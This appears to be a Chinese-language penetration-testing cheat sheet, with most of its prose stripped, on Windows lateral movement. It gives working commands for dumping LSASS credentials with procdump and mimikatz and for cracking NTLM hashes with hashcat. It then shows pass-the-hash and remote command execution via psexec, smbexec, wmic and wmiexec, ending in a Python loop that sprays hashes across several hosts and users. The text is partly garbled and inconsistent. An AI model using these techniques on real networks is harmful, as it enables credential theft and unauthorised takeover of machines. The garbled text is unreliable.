



- smb&wmi hash





Procdump+Mimikatz

Hashcat

Windows NTLM Hash

SMB

-psexec,smbexec

WMI

-cscript,wmiexec,wmic

hash

-python

exe

```
# 1-Procdump+Mimikatz
#procdump      mimikatz
procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
#Pwddump7
#QuarksPwddump
```

```
hashcat -a0-m 1000hash file --force
```

```
# 2-      SMB      -psexec,smbexec(      )
      SMB      hash      445
```

```
#psexec          ipc          psexec          hash
net use \\192.168.3.32\ipc$ "admin!@#45" /user:ad
ministrator
psexec \\192.168.3.32 -s cmd #          ipc          -s    System
#psexec          IPC
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32      Pstools
hash
#          -          impacket
```

```
#smbexec          ipc          hash
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21
```

```
#      3-          WMI          -cscript,wmiexec,wmic
WMI(Windows Management Instrumentation)          135          hash
```

```
#      WMIC
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c
ipconfig >C:\1.txt"
#      cscript
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
#      impacket wmiexec          hash          exe
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
```

```
#      4-          hash          -python          exe
#pyinstaller.exe -F fuck_neiwan_002.py
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
```

```
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'cceef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
```

```
for ip in ips:
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hashgod/user@ipwhoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)
```



<https://github.com/hashcat/hashcat>

<https://www.freebuf.com/sectool/164507.html>

<https://github.com/gentilkiwi/mimikatz/releases>

<https://github.com/SecureAuthCorp/impacket>

<https://gitee.com/RichChigga/impacket-examples-windows>

<https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools>

[https://docs.microsoft.com/zh-](https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump)

[cn/sysinternals/downloads/procdump](https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump)

<https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw>

xiao